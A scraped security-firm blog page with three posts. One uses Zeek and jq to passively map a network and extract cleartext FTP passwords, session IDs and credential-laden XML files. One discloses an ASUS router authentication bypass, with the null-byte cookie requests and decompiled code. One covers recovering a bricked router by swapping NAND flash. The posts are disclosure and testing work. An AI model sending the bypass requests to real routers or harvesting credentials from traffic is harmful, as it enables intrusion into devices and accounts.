πŸ”’
❌
There are new articles available, click to refresh the page.
Before yesterdayBlog - Atredis Partners

Le Zeek, C’est Chic: Using an NSM for Offense

20 May 2021 at 16:47

In one of my many former lives (and occasionally in this one) I played "defense", wading through network traffic, logs, etc. for Bad Thingsβ„’. Outside of the standard FOSS (and even commercial) tools for doing that, I grew to have a real fondness for Zeek, which is often the cornerstone for other network security monitoring (NSM) products and platforms. These days, I use Zeek primarily for NSM purposes and profiling of IoT (and other embedded) devices we at Atredis are either testing or researching.

However, some people may not be aware of the potential for using Zeek in red team or network penetration testing capacities. In this post, I'll touch briefly on Zeek's capabilities and then get into a few examples of using Zeek to help guide/inform testing efforts.

What is Zeek?

From the Zeek docs (a.k.a. "Book of Zeek"):

Zeek is a passive, open-source network traffic analyzer. Many operators use Zeek as a network security monitor (NSM) to support investigations of suspicious or malicious activity. Zeek also supports a wide range of traffic analysis tasks beyond the security domain, including performance measurement and troubleshooting.

First created in 1994, it was originally known as "Bro" (as in "Big Brother", a nod to George Orwell's 1984). Zeek consists of a very powerful pipeline for processing packets, assembling them into streams, analyzing fields/contents, extracting metadata/files, outputting to various sources/formats, etc. Zeek is also a core component of platforms like Security Onion, Malcolm, Corelight, Bricata, etc.

Why a "defensive" tool?

You might be asking yourself -- er, rather me, but rhetorically -- this question. The reason is simple: using tcpdump, Wireshark, and their ilk in offensive operations is not altogether different. In fact, SANS SEC503 ("Intrusion Detection In-Depth") covers using these tools for their intended, non offense purposes. The other reason is that while full content captures are great, you don't always need them. Moreover, these tools can all complement each other (i.e., use Zeek for broader analysis and statistics, and keep your tcpdump and Wireshark for more thorough, full content analyses).

Installation and Setup

I'm not going to cover "how to install Zeek" in this post, as it's very well-documented in the Book of Zeek. However, there are a couple of things to enable for the purposes of the examples herein.

Zeek JSON Logs

The default format for Zeek logs is tab-delimited. However, I prefer Zeek's JSON-formatted logs for easier parsing with tools like jq. JSON log output is easy to enable by adding (or uncommenting) the following line in local.zeek:

@load policy/tuning/json-logs.zeek

MAC Address Logging

Although this isn't totally pertinent to the examples later on, I find MAC address logging hugely helpful for host/device identification. Turning on the following option in local.zeek will add layer 2 source/destination fields to entries in conn.log:

@load policy/protocols/conn/mac-logging
{
  "ts": 1619634510.803026,
  "uid": "CGgSqRTXbeiqDz71l",
  "id.orig_h": "172.18.0.253",
  "id.orig_p": 26820,
  "id.resp_h": "1.1.1.1",
  "id.resp_p": 53,
  "proto": "udp",
  "service": "dns",
...
  "orig_l2_addr": "88:dc:96:6e:13:5c",
  "resp_l2_addr": "0a:e8:4c:68:1d:60"
}

Zeek Logs

The Book of Zeek has a more thorough explanation of each log type, but a quick rundown is as follows:

Log/File Name Description
conn.log Hosts, ports, bytes transferred, transport layer protocols, etc.
dns.log Queries, query types, answers
http.log Hostnames, URIs, HTTP verbs, etc.
files.log File types, filenames, hashes, etc.
ftp.log Users, commands, paths, etc.
ssl.log SSL/TLS versions, ciphers, hostnames, server ports, etc.
x509.log Cert versions, cert subjects, cert, issuers, dates, etc.
smtp.log Senders, recipients, subjects, message bodies, routes/paths, etc.
ssh.log Client/server versions, algorithms, pubkey fingerprints, etc.
pe.log Architectures, OSes, PE sections, debug info
dhcp.log Message types, assigned addresses, MAC addresses, hostnames, etc.
ntp.log Times, versions, strata, offsets, clients/servers, etc.
SMB Logs (plus DCE-RPC, Kerberos, NTLM) SMB share mappings, DCE-RPC call info, Kerberos KDC interactions, etc.
irc.log Commands, nicks/users, etc.
rdp.log Hosts, security protocols, cookies, etc.
traceroute.log Source/dest, protocols, ports
tunnel.log (Typically Teredo) tunnel types, actions, hosts, etc.
dpd.log Used for reporting problems with Dynamic Protocol Detection
known_*.log and software.log Which ports/hosts and software (versions) were observed
weird.log and notice.log Issues where protocols deviated from norm
capture_loss.log and reporter.log Diagnostic

Of course, there are other logs specific to other protocols, such as modbus.log, dnp3.log, mqtt.log, etc.

Log Correlation

Log entries are also assigned IDs (uid) for correlation across different log types. For example, a connection (in conn.log) might correspond to an HTTP request (http.log). That HTTP request may have downloaded a file (files.log), which was a Portable Executable (PE) (whose analysis shows up in pe.log). This is seen in the following example. First, we'll start with conn.log:

{
    "ts": 1616187600.203065,
    "uid": "C3R4Ar79TjjOQZDk1",
    "id.orig_h": "192.168.0.132",
    "id.orig_p": 50395,
    "id.resp_h": "142.250.34.2",
    "id.resp_p": 80,
    "proto": "tcp",
    "service": "http",
    "duration": 17.525580167770386,
    "orig_bytes": 339,
    "resp_bytes": 2778935,
    "conn_state": "RSTO",
    "local_orig": true,
    "local_resp": false,
    "missed_bytes": 2525951,
    "history": "ShADadcgcgcgR",
    "orig_pkts": 102,
    "orig_ip_bytes": 4431,
    "resp_pkts": 179,
    "resp_ip_bytes": 260156,
    "orig_l2_addr": "34:41:5d:9f:0d:8f",
    "resp_l2_addr": "02:42:c0:a8:00:02"
  }

Connection entry in conn.log

Note the uid value of C3R4Ar79TjjOQZDk1, which is seen in the following HTTP request in http.log:

{
    "ts": 1616187600.226666,
    "uid": "C3R4Ar79TjjOQZDk1",
    "id.orig_h": "192.168.0.132",
    "id.orig_p": 50395,
    "id.resp_h": "142.250.34.2",
    "id.resp_p": 80,
    "trans_depth": 1,
    "method": "GET",
    "host": "edgedl.gvt1.com",
    "uri": "/chrome_updater.exe",
    "version": "1.1",
    "user_agent": "Google Update/1.3.36.72;winhttp",
    "request_body_len": 0,
    "response_body_len": 2778496,
    "status_code": 200,
    "status_msg": "OK",
    "tags": [],
    "resp_fuids": [
      "FnFzCVkm11eShPHLb"
    ],
    "resp_mime_types": [
      "application/x-dosexec"
    ]
  }

HTTP request in http.log

In the above log entry, we see a few additional fields, such as the uri, method, host, etc. -- all items specific to HTTP. Additionally, the value in resp_fuids (FnFzCVkm11eShPHLb) corresponds to a unique ID for the file associated with this request. This value is observed in the fuid field of the files.log entry shown below:

{
    "ts": 1616187600.257684,
    "fuid": "FnFzCVkm11eShPHLb",
    "tx_hosts": [
      "142.250.34.2"
    ],
    "rx_hosts": [
      "192.168.0.132"
    ],
    "conn_uids": [
      "C3R4Ar79TjjOQZDk1"
    ],
    "source": "HTTP",
    "depth": 0,
    "analyzers": [
      "MD5",
      "SHA1",
      "PE"
    ],
    "mime_type": "application/x-dosexec",
    "duration": 0.34926891326904297,
    "local_orig": false,
    "is_orig": false,
    "seen_bytes": 252545,
    "total_bytes": 2778496,
    "missing_bytes": 2525951,
    "overflow_bytes": 0,
    "timedout": false
  }

Finally, as this was a PE, it was examined by Zeek's PE analyzer. In the following pe.log entry, we see FnFzCVkm11eShPHLb in the id field, along with additional information about the binary:

{
    "ts": 1616187600.273825,
    "id": "FnFzCVkm11eShPHLb",
    "machine": "AMD64",
    "compile_ts": 1615499290,
    "os": "Windows XP x64 or Server 2003",
    "subsystem": "WINDOWS_GUI",
    "is_exe": true,
    "is_64bit": true,
    "uses_aslr": true,
    "uses_dep": true,
    "uses_code_integrity": false,
    "uses_seh": true,
    "has_import_table": true,
    "has_export_table": false,
    "has_cert_table": true,
    "has_debug_data": true,
    "section_names": [
      ".text",
      ".rdata",
      ".data",
      ".pdata",
      ".00cfg",
      ".rsrc",
      ".reloc"
    ]
  }

With some of these high-level basics out of the way, I'll now go into some more specific examples.

The Scenario

On a recent attack simulation project, our team was dropped onto a customer's highly critical OT/ICS network, with the directive of being extremely diligent to avoid any sort of disruption of controllers, supervisory systems, management systems, etc. Rules around scanning, discovery, and enumeration activities were very prohibitive. However, we were provided access to a monitoring/SPAN port which mirrored traffic from certain network segments. This was a perfect source of data to analyze with Zeek, and helped further guide our active testing efforts while respecting the customer's constraints.

For the following examples, we'll be using jq to parse Zeek's various logs in a syntax like jq [query] [log file].

Extracting DNS queries from dns.log

Perhaps the simplest -- and maybe most obvious -- example is using Zeek's dns.log to gather information on DNS queries.

$ jq '. | {client: ."id.orig_h", server: ."id.resp_h", query: .query, type: .qtype_name, answers: .answers}' dns.log
{
  "client": "192.168.11.198",
  "server": "192.168.102.1",
  "query": "dci.sophosupd.net",
  "type": "A",
  "answers": [
    "d27v6ck90qm3ay.cloudfront.net",
    "99.84.106.91",
    "99.84.106.109",
    "99.84.106.129",
    "99.84.106.76"
  ]
}
{
  "client": "192.168.11.30",
  "server": "192.168.102.1",
  "query": "ping3.teamviewer.com",
  "type": "A",
  "answers": [
    "188.172.214.62",
    "213.227.173.158",
    "162.220.222.190",
    "162.250.5.94",
    "162.250.6.158"
  ]
}
{
  "client": "192.168.11.113",
  "server": "192.168.11.255",
  "query": "FILESERVER02",
  "type": "NB",
  "answers": null
}

Finding listening services (or "scanning without scanning")

In lieu of sending traffic to the target network(s), we let Zeek do the heavy lifting in analyzing which hosts are likely listening on which ports, and which application-layer protocols are observed on those ports.

Command

$ jq '{host: .host, port: .port_num, proto: .port_proto, service: .service}' known_services.log

Example Output

{
  "host": "192.168.11.196",
  "port": 5900,
  "proto": "tcp",
  "service": [
    "RFB"
  ]
}
{
  "host": "192.168.10.52",
  "port": 502,
  "proto": "tcp",
  "service": [
    "MODBUS"
  ]
}
{
  "host": "192.168.102.1",
  "port": 53,
  "proto": "udp",
  "service": [
    "DNS"
  ]
}
{
  "host": "192.168.11.195",
  "port": 135,
  "proto": "tcp",
  "service": [
    "DCE_RPC"
  ]
}

Hosts with access to other subnets

In this example, we query the connection log (conn.log) to see which hosts are talking across subnets. This is useful when trying to identify possible pivots.

Command

$ jq '. | select((."id.resp_h" | startswith("192.168.11")) or (."id.orig_h" | startswith("192.168.11"))) | {src: ."id.orig_h", dst: ."id.resp_h"}' conn.log

Example Output

{
  "src": "192.168.9.15",
  "dst": "192.168.11.1"
}
{
  "src": "192.168.9.109",
  "dst": "192.168.11.140"
}
{
  "src": "192.168.9.12",
  "dst": "192.168.11.1"
}

Hosts with access to other subnets and respective destination ports

We can take the above example a step further and also query for the ports associated with the conversation(s) to get even more insight about the relationships between hosts/devices.

Command

$ jq '. | select((."id.resp_h" | startswith("192.168.11")) or (."id.orig_h" | startswith("192.168.11"))) | {src: ."id.orig_h", srcport: ."id.orig_p", dst: ."id.resp_h", dstport: ."id.resp_p"}' conn.log

Example Output

{
  "src": "192.168.9.21",
  "srcport": 52433,
  "dst": "192.168.11.1",
  "dstport": 88
}
{
  "src": "192.168.9.109",
  "srcport": 61067,
  "dst": "192.168.11.140",
  "dstport": 80
}
{
  "src": "192.168.9.21",
  "srcport": 52432,
  "dst": "192.168.11.1",
  "dstport": 445
}

Cleartext FTP passwords

Note: password logging needs to be enabled first by adding the following line to local.zeek:

"redef FTP::default_capture_password = T;"

In this example, we query ftp.log for very simple values: usernames and passwords.

Command

$ jq '. | {server: ."id.resp_h", port: ."id.resp_p", username: .user, password: .password}' ftp.log

Example Output

{
  "host": "192.168.11.196",
  "port": 21,
  "username": "upload",
  "password": "upload123"
}

Session IDs in URLs

Zeek's HTTP analyzer will extract elements from HTTP requests, including the method, URI, User-Agent, etc. In the following example, we query for any uri field with the string sessionID (with a case insensitive match).

Command

$ jq '. | select(.uri | match("sessionID", "i")) | {host: ."id.resp_h", port: ."id.resp_p", uri: .uri}' http.log

Example Output

{
  "host": "192.168.11.196",
  "port": 8080,
  "uri": "/login.jsp;JSESSIONID=D7E73C21F471E6488CE00B50FD0E5186?client=client"
}

Software/version inventory

Zeek's software.log can be used to identify which applications/services and their respective versions (where available) are observed, including both clients and servers, as shown in the following example.

Command

$ jq '. | {host: .host, port: .host_p, software: .unparsed_version}' software.log

Example Output

{
  "host": "192.168.9.140",
  "port": 80,
  "software": "GoAhead-Webs"
}
{
  "host": "192.168.9.13",
  "port": 8080,
  "software": "Apache-Coyote/1.1"
}
{
  "host": "192.168.9.13",
  "port": null,
  "software": "PH.Framework.Communication.SshNet.SshClient.0.0.1"
}

VNC Port and Desktop/Display Name

The VNC (or, rather, "RFB") analyzer can pull additional information about VNC servers and display names. In the following example, we query the rfb.log to identify which VNC servers were observed.

Command

$ jq '. | {host: ."id.resp_h", port: ."id.resp_p", title: .desktop_name}' rfb.log

Example Output

{
  "host": "192.168.9.140",
  "port": 5900,
  "title": "PanelView VNC Server"
}
{
  "host": "192.168.10.61",
  "port": 5900,
  "title": "admin-pc ( 192.168.10.61 ) - service mode"
}

Correlating from an HTTP request to an extracted file

Here we have a longer, albeit distilled example to demonstrate correlating an HTTP request down to an extracted file. In this case, we wanted to identify XML files containing configuration data, such as credentials. First we'll look in http.log for any (plaintext) HTTP requests that fetched an XML file.

Filtering for specific MIME types in http.log

Command

jq '. | select(.resp_mime_types[] | match("xml")) | {host: .host, uri: .uri, fuids: .resp_fuids, mime_type: .resp_mime_types}' http.log

Example Output

{
  "host": "192.168.10.110",
  "uri": "/config.xml",
  "fuids": [
    "F7Hil53SZhP7kZbkm4"
  ],
  "mime_type": [
    "application/xml"
  ]
}

As an identifier for a file (fuid) was returned, we know there was a file associated with this. So, we then want to identify the name of the extracted file by querying files.log.

Filtering for extracted files in files.log

Command

$ jq '. | select(.fuid=="F7Hil53SZhP7kZbkm4") | .extracted' files.log

Example output

"extract-1619800042.170101-HTTP-F7Hil53SZhP7kZbkm4"

Command

Finally, we can simply cat the extracted file on disk.

$ cat /opt/zeek/logs/current/extract_files/extract-1619800042.170101-HTTP-F7Hil53SZhP7kZbkm4

Example XML file with credentials

<?xml version="1.0" encoding="UTF-8"?>
<connectionStrings>
<add name="ud_DEV" connectionString="connectDB=uDB; uid=db2admin; pwd=password; dbalias=uDB;" providerName="System.Data.Odbc" />
</connectionStrings>

Conclusion

This post probably does very little justice to just how powerful Zeek truly is, and barely scratches the surface of its usefulness for both defense and offense. Shuttling Zeek logs into something like Elasticsearch can provide tremendous awareness about network activity, but that's not always possible (or reasonable) in an offensive operation. Combined with a tool like jq -- and a source of network traffic, of course -- Zeek's capabilities can be quickly and easily leveraged to gain more insight into the target network and hosts/devices.

For anyone interested in doing more with Zeek from either angle, here are a few recommended resources:

Le Zeek, C’est Chic: Using an NSM for Offense

CVE-2021-32030: ASUS GT-AC2900 Authentication Bypass

6 May 2021 at 11:46

In a previous blog post I had presented a creative method to resurrect a bricked device, in this post I will go over a vulnerability discovered within the running firmware.

(Atredis has also published an advisory on the vulnerability discussed in this post.)

How it started

When assessing a device, one of the first steps is to gain access to a copy of the software running on the device to assist in the process of understanding how it works. Firmware can be retrieved for a target either by downloading it from the manufacturer or extracting it from the target. In this case, the device manufacturer (ASUS) provides firmware updates. The firmware running on the target at the time of testing can be accessed at the following location:

https://dlcdnets.asus.com/pub/ASUS/wireless/GT-AC2900/FW_GT_AC2900_300438482072.zip

The decompressed CFE image can be easily extracted using the excellent binwalk tool (ensure that ubi_reader and jefferson dependencies are installed first):

binwalk -e GT-AC2900_3.0.0.4_384_82072-gc842320_cferom_ubi.w

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
144300        0x233AC         SHA256 hash constants, little endian
144572        0x234BC         CRC32 polynomial table, little endian
276396        0x437AC         SHA256 hash constants, little endian
276668        0x438BC         CRC32 polynomial table, little endian
408492        0x63BAC         SHA256 hash constants, little endian
408764        0x63CBC         CRC32 polynomial table, little endian
540588        0x83FAC         SHA256 hash constants, little endian
540860        0x840BC         CRC32 polynomial table, little endian
672684        0xA43AC         SHA256 hash constants, little endian
672956        0xA44BC         CRC32 polynomial table, little endian
804780        0xC47AC         SHA256 hash constants, little endian
805052        0xC48BC         CRC32 polynomial table, little endian
1048576       0x100000        JFFS2 filesystem, little endian
4456448       0x440000        UBI erase count header, version: 1, EC: 0x0, VID header offset: 0x800, data offset: 0x1000

ls -alh _GT-AC2900_3.0.0.4_384_82072-gc842320_cferom_ubi.w.extracted/
total 130M
drwxrwxr-x 4 chris chris 4.0K Jan 21 20:11 .
drwxrwxr-x 3 chris chris 4.0K Jan 21 20:10 ..
-rw-rw-r-- 1 chris chris  67M Jan 21 20:10 100000.jffs2
-rw-rw-r-- 1 chris chris  64M Jan 21 20:11 440000.ubi
drwxrwxr-x 3 chris chris 4.0K Jan 21 20:11 jffs2-root
drwxrwxr-x 3 chris chris 4.0K Jan 21 20:11 ubifs-root

Normally this would be the point where you would start digging for bugs; however, ASUS provides a nice GPL archive for their devices:

https://dlcdnets.asus.com/pub/ASUS/wireless/RT-AC2900/GPL_RT_AC2900_300438640451.zip

The archive contains just about everything you would need to build a working firmware image. The main caveat is that ASUS ships the interesting parts as prebuilt objects instead of the actual source. With that small detour out of the way, we can get back to the bug.

How it’s going

The ASUS GT-AC2900 device's administrative web application utilizes a session cookie (asus_token) to manage session states. While auditing the session handling functionality, I found that the validation of this cookie fails when the following occurs:

  • The submitted asus_token starts with a Null (0x0)

  • The request User-Agent matches an internal service UA (asusrouter--)

  • The device has not been configured with an ifttt_token (default state)

This condition results in the server incorrectly identifying the request as being authenticated. The following example shows a normal request and response for valid session:

GET /appGet.cgi?hook=get_cfg_clientlist() HTTP/1.1
Host: 192.168.1.107:8443
Content-Length: 0
User-Agent: asusrouter--
Connection: close
Referer: https://192.168.1.107:8443/
Cookie: asus_token=iCOPsFa54IUYc4alEFeOP4vjZrgspAY; clickedItem_tab=0

HTTP/1.0 200 OK
Server: httpd/2.0
Content-Type: application/json;charset=UTF-8
Connection: close

{
"get_cfg_clientlist":[{"alias":"24:4B:FE:64:37:10","model_name":"GT-AC2900","ui_model_name":"GT-AC2900","fwver":"3.0.0.4.386_41793-gdb31cdc","newfwver":"","ip":"192.168.50.1","mac":"24:4B:FE:64:37:10","online":"1","ap2g":"24:4B:FE:64:37:10","ap5g":"24:4B:FE:64:37:14","ap5g1":"","apdwb":"","wired_mac":[
...
...
}

The following shows that the same request fails in the case an invalid asus_token is provided:

GET /appGet.cgi?hook=get_cfg_clientlist() HTTP/1.1
Host: 192.168.1.107:8443
Content-Length: 0
User-Agent: asusrouter-- 
Connection: close
Referer: https://192.168.1.107:8443/
Cookie: asus_token=Invalid; clickedItem_tab=0


HTTP/1.0 200 OK
Server: httpd/2.0
Content-Type: application/json;charset=UTF-8
Connection: close

{
"error_status":"2"
}

If a Null character is placed at the front of the asus_token, the request will be incorrectly identified as being authenticated, as seen in the following request and response:

GET /appGet.cgi?hook=get_cfg_clientlist() HTTP/1.1
Host: 192.168.1.107:8443
Content-Length: 0
User-Agent: asusrouter--
Connection: close
Referer: https://192.168.1.107:8443/
Cookie: asus_token=\0Invalid; clickedItem_tab=0

HTTP/1.0 200 OK
Server: httpd/2.0
Content-Type: application/json;charset=UTF-8
Connection: close

{
"get_cfg_clientlist":[{"alias":"24:4B:FE:64:37:10","model_name":"GT-AC2900","ui_model_name":"GT-AC2900","fwver":"3.0.0.4.386_41793-gdb31cdc","newfwver":"","ip":"192.168.50.1","mac":"24:4B:FE:64:37:10","online":"1","ap2g":"24:4B:FE:64:37:10","ap5g":"24:4B:FE:64:37:14","ap5g1":"","apdwb":"","wired_mac":[
...
...
}

How it’s actually going

Authentication and validation of requests occurs within the function handle_request, specifically through the function auth_check, which can be seen in the following code excerpt from the GPL source archive:

router/httpd/httpd.c - handle_request

static void
handle_request(void)
{
...
...
...
handler->auth(auth_userid, auth_passwd, auth_realm);
auth_result = auth_check(auth_realm, authorization, url, file, cookies, fromapp); // <---- call to auth_check in web_hook.o
if (auth_result != 0) 
{
	if(strcasecmp(method, "post") == 0 && handler->input)	//response post request
		while (cl--) (void)fgetc(conn_fp);
        send_login_page(fromapp, auth_result, url, file, auth_check_dt, add_try);
        return;
}
...
...

The auth_check function is implemented within a compiled object (web_hook.o) which validates the received session identifier is valid. The process is broken down to the following items at a high level:

  • Check that the request cookies contain an asus_token

  • Check if the extracted asus_token exists within the current session list

  • Check if the extracted asus_token is a stored service token (IFTTT/Alexa)

The following decompiled pseudocode shows the underlying code responsible for carrying out this process:

router/httpd/prebuild/web_hook.o - auth_check

int __fastcall auth_check(char *dirname, char *authorization, const char *url, char *file, char *cookies, int fromapp_flag)
{
  void *v7; // r0
  bool v8; // cc
  char *v9; // r5
  int *v10; // r0
  int v11; // r5
  int *v12; // r4
  int v13; // r0
  int v14; // r0
  bool v15; // cc
  char *v16; // r5
  int *v17; // r0
  int result; // r0
  char *pAsusTokenKeyStart; // r0
  char *pAsusTokenValueStart; // r9
  size_t space_count; // r0
  unsigned int v22; // r2
  int *v23; // r0
  int v24; // r5
  int *v25; // r4
  int v26; // [sp+10h] [bp-50h]
  char user_token[32]; // [sp+1Ch] [bp-44h] BYREF

  v7 = memset(user_token, 0, sizeof(user_token));
  v26 = cur_login_ip_type;
...
...
...
  result = auth_passwd;
  if ( auth_passwd )
  {
    // check that the request has a cookie header set and the asus_token cookie exists
    // example header - Cookie: asus_token=iCOPsFa54IUYc4alEFeOP4vjZrgspAY; clickedItem_tab=0
    if ( !cookies || (pAsusTokenKeyStart = strstr(cookies, "asus_token")) == 0 ) // <-----
    {
      // check if this is the first access for initial setup - this is skipped
      if ( !is_firsttime() ) // <-----
      {
        add_try = 0;
        return 1;
      }
      goto PAGE_REDIRECT;
    }
    // find the location of the asus_token value
    pAsusTokenValueStart = pAsusTokenKeyStart + 11; // <-----
    space_count = strspn(pAsusTokenKeyStart + 11, " \t"); // <-----
    
    // set the user_token variable to the extracted value from the user request
    snprintf(user_token, 0x20u, "%s", &pAsusTokenValueStart[space_count]); // <-----
    
    // validate the user_token value, check_ifttt_token returns 1, causing the if statement to be skipped that would normally result in an authentication failure
    if ( !search_token_in_list(user_token, 0) && !check_ifttt_token(user_token) ) // <-----

The check_ifttt_token function compares the user submitted value to the stored configuration value currently stored in the systems NVRAM configuration. The following shows the decompiled pseudocode for this function:

router/httpd/prebuild/web_hook.o - check_ifttt_token

int __fastcall check_ifttt_token(const char *asus_token)
{
  char *ifft_token; // r0
  char *v3; // r0
  int result; // r0
  ifft_token = nvram_safe_get("ifttt_token"); // <----- returns \0

The function nvram_safe_get is used to retrieve the stored iftt_token value from the systems NVRAM configuration, which can be seen in the following decompiled pseudocode:

router/httpd/prebuild/web_hook.o - nvram_safe_get
char *__fastcall nvram_safe_get(char* setting_key)
{
  char *result; // r0

  result = nvram_get(setting_key);
  if ( !result )
    result = "\0";
  return result;
}

In the case the NVRAM configuration does not contain a value for the requested setting, the function returns "\0" (Null). As the submitted asus_token has been set to a Null from the original request the string comparison will indicate that the values are equal and the check_iftt_token function will return true (1), as seen in the following pseudocode:

router/httpd/prebuild/web_hook.o - check_ifttt_token

ifft_token = nvram_safe_get("ifttt_token"); // <----- returns \0
  if ( !strcmp(asus_token, ifft_token) ) // <----- returns 0 as they match, evals to true and login is successful
  {
    // if the IFTTT_ALEXA log file is enabled, log successful check message
    if ( isFileExist("/tmp/IFTTT_ALEXA") > 0 )
      Debug2File("/tmp/IFTTT_ALEXA.log", "[%s:(%d)][HTTPD] IFTTT/ALEXA long token success.\n", "check_ifttt_token", 760);
      
      // Return 1
      result = 1; // <----- set result value
  }
  else// <----- skipped
  {
    if ( isFileExist("/tmp/IFTTT_ALEXA") > 0 )
      Debug2File("/tmp/IFTTT_ALEXA.log", "[%s:(%d)][HTTPD] IFTTT/ALEXA long token fail.\n", "check_ifttt_token", 766);
    if ( isFileExist("/tmp/IFTTT_ALEXA") > 0 )
      Debug2File(
        "/tmp/IFTTT_ALEXA.log",
        "[%s:(%d)][HTTPD] IFTTT/ALEXA long token is %s.\n",
        "check_ifttt_token",
        767,
        asus_token);
    if ( isFileExist("/tmp/IFTTT_ALEXA") > 0 )
    {
      v3 = nvram_safe_get("ifttt_token");
      Debug2File("/tmp/IFTTT_ALEXA.log", "[%s:(%d)][HTTPD] httpd long token is %s.\n", "check_ifttt_token", 768, v3);
    }
    result = 0;
  }
  return result; // <----- return 1
}

Continuing back within auth_check, the check_ifttt_token return value causes the if statement to evaluate to false, skipping the code path that would result in a failed authentication attempt, resulting in the authentication process to succeed:

router/httpd/prebuild/web_hook.o - auth_check

  if ( !search_token_in_list(user_token, 0) && !check_ifttt_token(user_token) ) // <-----
   {
      if ( !is_firsttime() )
      {
        if ( !strcmp(last_fail_token, user_token) )
        {
          add_try = 0;
        }
        else
        {
          strlcpy(last_fail_token, user_token, 32);
          add_try = 1;
        }
        v23 = _errno_location();
        v24 = *v23;
        v25 = v23;
        if ( f_exists("/tmp/HTTPD_DEBUG") > 0 || nvram_get_int("HTTPD_DBG") > 0 )
          asusdebuglog(6, "/jffs/HTTPD_DEBUG.log", 0, 1, 0, "[%s(%d)]:AUTHFAIL\n\n", "auth_check", 1054);
        result = 2;
        *v25 = v24;
        return result;
      }
PAGE_REDIRECT:
      page_default_redirect(fromapp_flag, url);
      return 0;
    }
...
...
  return result;
}

By monitoring the system logs confirmation of successful IFTTT/ALEXA login token processing can be seen when submitting a malformed asus_token:

[email protected]:/jffs# tail -f /tmp/IFTTT_ALEXA.log
[check_ifttt_token:(1014)][HTTPD] IFTTT/ALEXA long token success.

How it ends

ASUS released an updated firmware image that addresses this vulnerability that can be downloaded from their support site.

CVE-2021-32030: ASUS GT-AC2900 Authentication Bypass

NANDcromancy: Live Swapping NAND Flash

26 April 2021 at 18:39

Often when assessing an embedded system, changes can occur (intended or otherwise) that cause the target system to enter a state where it no longer works ('bricked'). In some cases fixing the target is as simple as performing a "factory reset", others may be slightly more involved and require flashing the target using a debug interface (JTAG/SWD/*) or manually flashing an external storage device (SPI/NOR/Nand/eMMC). This post walks through resolving a situation where a target has been 'bricked' with a creative methodology.

During some downtime, I was poking at an off the shelf consumer router that was using Common Firmware Environment (CFE) as a boot loader. While interacting with the CFE trying to identify arguments that are passed to the target's operating system at boot, the system configuration was accidentally corrupted:

CFE> b
Press:  <enter> to use current value
        '-' to go previous parameter
        '.' to clear the current value
        'x' to exit this command
94908AC5300R               ------ 03
94906REF                   ------ 07
GT-AC2900                  ------ 08
Board Id                          :  8  X     <---- whoops
Number of MAC Addresses (1-64)    :  10  ^C   <---- more whoops
x
Memory Configuration Changed -- REBOOT NEEDED <---- whoops saved. 
flow memory allocation (MB)       :  14  ----

At this point I figured a final save/write would be required to commit the accidental changes, so I opted to just power cycle the device to avoid making permanent changes. After power cycling the device, an error occurred:

Shmoo WR DM
WR DM
   0000000000111111111122222222223333333333444444444455555555556666666666
   0123456789012345678901234567890123456789012345678901234567890123456789
00 ------++++++++++++++++++++++++++X+++++++++++++++++++++++++++----------
01 --+++++++++++++++++++++++++X++++++++++++++++++++++++++----------------
02 X---------------------------------------------------------------------
03 X---------------------------------------------------------------------
MEMSYS init failed, return code 00000001
MEMC error:  0x00000000
PHY error:  0x00000000
SHMOO error:  0x10c00000 
 0x00000082
 0x00000000

When the device came back up, it immediately produced the previous error and failed to enter the CFE. Without being able to access the boot loader, the configuration could not be changed and the boot loader's recovery process could not be utilized either. Searching online for this error was not helpful and resulted in dead ends and the general consensus is if you corrupt CFE in this manner - the device is 'bricked'. At this point I switched to working with my backup device (always have a backup) so I could answer my original question regarding interesting target arguments. As an aside, the setting kernp mfg_nvram_mode=1 mfg_nvram_url=BADURL is particularly interesting.

Later on I circled back to the bricked unit to identify a path to fix it. The target is using a Broadcom SoC and an unpopulated header was found to provide JTAG access:

1.png

After enumerating the JTAG pinout on the unpopulated header with a JTagulator, it was possible to confirm access using OpenOCD:

$ openocd -f ../interface/jlink.cfg -f bcm49.cfg
Open On-Chip Debugger 0.11.0-rc2+dev-gba0f382-dirty (2021-02-26-14:07)
Licensed under GNU GPL v2
For bug reports, read
    http://openocd.org/doc/doxygen/bugs.html
DEPRECATED! use 'adapter speed' not 'adapter_khz'
Info : Listening on port 6666 for tcl connections
Info : Listening on port 4444 for telnet connections
Info : J-Link V10 compiled Dec 11 2020 15:39:30
Info : Hardware version: 10.10
Info : VTarget = 3.323 V
Info : clock speed 1000 kHz
Info : JTAG tap: bcm490x.tap tap/device found: 0x5ba00477 (mfg: 0x23b (ARM Ltd), part: 0xba00, ver: 0x5)
Info : JTAG tap: auto0.tap tap/device found: 0x4ba00477 (mfg: 0x23b (ARM Ltd), part: 0xba00, ver: 0x4)
Info : JTAG tap: auto1.tap tap/device found: 0x0490617f (mfg: 0x0bf (Broadcom), part: 0x4906, ver: 0x0)
Info : JTAG tap: auto2.tap tap/device found: 0x0490617f (mfg: 0x0bf (Broadcom), part: 0x4906, ver: 0x0)
Info : bcm490x.a53.0: hardware has 6 breakpoints, 4 watchpoints

The other path for restoring the system is through the storage device, a Macronix NAND chip:

2.png

At this point I started to wonder about something, I still had a working device that I could boot into the boot loader - would it be possible to swap the NAND chip on a running device and use it to flash the corrupted NAND?

Before attempting anything, I asked a co-worker if he thought this stupid idea would have any chance at working, he wasn't optimistic on the outcome (to be fair, I wasn't either) - we made a bet on the results and I went to work.

The first stage of testing was to find out if the system would tolerate having the NAND 'removed' while running? I knew that answering this question I would need to be more methodical than just hitting the unit with hot air while its running and removing the chip. The first stage of this process was to identify how the NAND is being powered. The layout looks like VCC is tied into the chip in the following locations:

NAND Power Sources

With the VCC lines identified, the easiest way to answer our first question would be to remove the VCC lines from the NAND while the system is running. In order to do this, my first try was to cut the VCC lines and add 'jumper' wires (36 AWG Magnet Wire is great stuff) that can be disconnected once the boot loader is done:

Initial VCC Jumper Locations

On the right hand side I chose to cut further back on the power trace thinking it would be a better spot as it feeds into a few pins on the NAND. On the first jumper install I used a fiberglass scratch pen to remove the coating and expose the copper and a small knife to cut the trace:

Terrible Jumper Install

The result was gross as the scratch pen tip was far too big and I ended up exposing lots of copper. Don't use a scratch pen, just a fine tipped knife so you don't end up with a mess. More like this:

6.png
7.png

With the 'jumpers' installed and connected, the target was powered up to the boot loader (CFE) and the command dn (dump nand) was used to ensure the NAND was accessible, power was then removed by disconnecting the jumper wires:

CFE> dn
------------------ block: 0, page: 0 ------------------
00000000: 00000000 00000000 00000000 00000000    ................
00000010: 00000000 00000000 00000000 00000000    ................
00000020: 00000000 00000000 00000000 00000000    ................
